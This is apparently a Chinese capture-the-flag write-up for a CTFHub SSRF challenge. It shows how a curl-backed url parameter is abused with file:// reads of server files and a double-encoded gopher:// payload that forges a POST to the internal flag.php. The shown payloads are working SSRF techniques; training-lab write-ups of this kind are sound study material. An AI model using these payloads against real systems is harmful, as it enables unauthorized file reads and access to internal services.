CTFHUB SSRF POST小记

这关考察的是gopher伪协议构造post请求;

gopher伪协议总结:SSRF笔记整理-CSDN博客

有很多的细节需要注意

  1. 格式:gopher://192.168.232.125:80/_+下面url编码后的内容
  2. 默认访问70端口,访问web时需要改为80端口
  3. %0A时linux下的换行符,windows下需要改为%0D%0A(小写也行,window不区分大小写)
  4. gopher伪协议的数据的第一字符不识别;需要用字符填充代替
  5. POST请求需要一些必须的头部字段

首先进入CTFHUB题目界面;

通过题目知道这是一道POST请求;并且用了curl进行远程资源的请求

访问目标地址发现是空白页面;网页导航栏中有url的参数信息;肯定是有ssrf信息的

通过bp抓取上传包,通过修改url=file:///var/www/html/index.php可以查看index.php的内容;可以看到文件中是通过curl_exec()函数请求远程资源的;curl支持很多的伪协议,http,file,gopher,dict等

通过改变url=file:///var/www/html/flag.php可以查看flag.php的内容;可以发现flag中的内容分为两部分:host地址验证+key值验证;

修改url=http://127.0.0.1/flag.php;发现出现了一个文本框;而且key值也附带了

通过输入123然后进行抓包分析;可以看到post请求包的格式;这里验证的host字段;通过添加X-Forwarded-For字段也是无法绕过的;只能用gopher伪协议

构造gopher伪协议的post请求

必须要有post字段、host字段、文本长度、文本类型、空白行、key值内容

格式和内容如下:

长度要和输入内容数量一致;文本类型需要查看原始post请求中的类型

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length:  36
Content-Type: application/x-www-form-urlencoded

key=28bcbd94a544c291db4c1dd6204b352e

需要对这段内容进行两次urlencode编码(因为浏览器会自动进行urldecode解析且到达目的地之前需要两次url解码:中转网站解析+目标解析)

在线编码地址:在线Unicode编码转换-Unicode和ASCII在线互转-中文转Unicode工具 (jsons.cn)

将上面的文本复制到加密选项中;加密结果如下

此时需要将其中的%0A全部换成%0D%0A;可以直接手动替换;也可以复制到文本中利用文档替换功能进行替换(ctrl+T);替换完成后再次进行url加密得到目标post内容

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D28bcbd94a544c291db4c1dd6204b352e

构造payload:(key值需要根据实际情况改动)

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D8acdac778ad96931f6b5986b70f972ff

完整访问url

http://challenge-7bdc76a73ec76e19.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D8acdac778ad96931f6b5986b70f972ff

可以看到输出了flag

10

相关推荐

  1. wordpress小记

    2024-02-04 10:16:01       35 阅读
  2. NAT<span style='color:red;'>小记</span>

    NAT小记

    2024-02-04 10:16:01      28 阅读
  3. FFMpeg小记

    2024-02-04 10:16:01       11 阅读
  4. TS小记--

    2024-02-04 10:16:01       14 阅读
  5. Photoshop小记

    2024-02-04 10:16:01       16 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-02-04 10:16:01       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-02-04 10:16:01       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-02-04 10:16:01       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-02-04 10:16:01       18 阅读

热门阅读

  1. 速盾:免备案网站服务器接入cdn有哪些好处

    2024-02-04 10:16:01       26 阅读
  2. ubuntu server 22.04.3 配置 wifi

    2024-02-04 10:16:01       25 阅读
  3. ubuntu22.04@laptop OpenCV安装

    2024-02-04 10:16:01       30 阅读
  4. Day11代码随想录

    2024-02-04 10:16:01       32 阅读
  5. Linux 命令行速查表

    2024-02-04 10:16:01       32 阅读
  6. Oracle出现超出打开游标最大数的解决方法

    2024-02-04 10:16:01       31 阅读
  7. 机器学习算法之决策树(DT)

    2024-02-04 10:16:01       30 阅读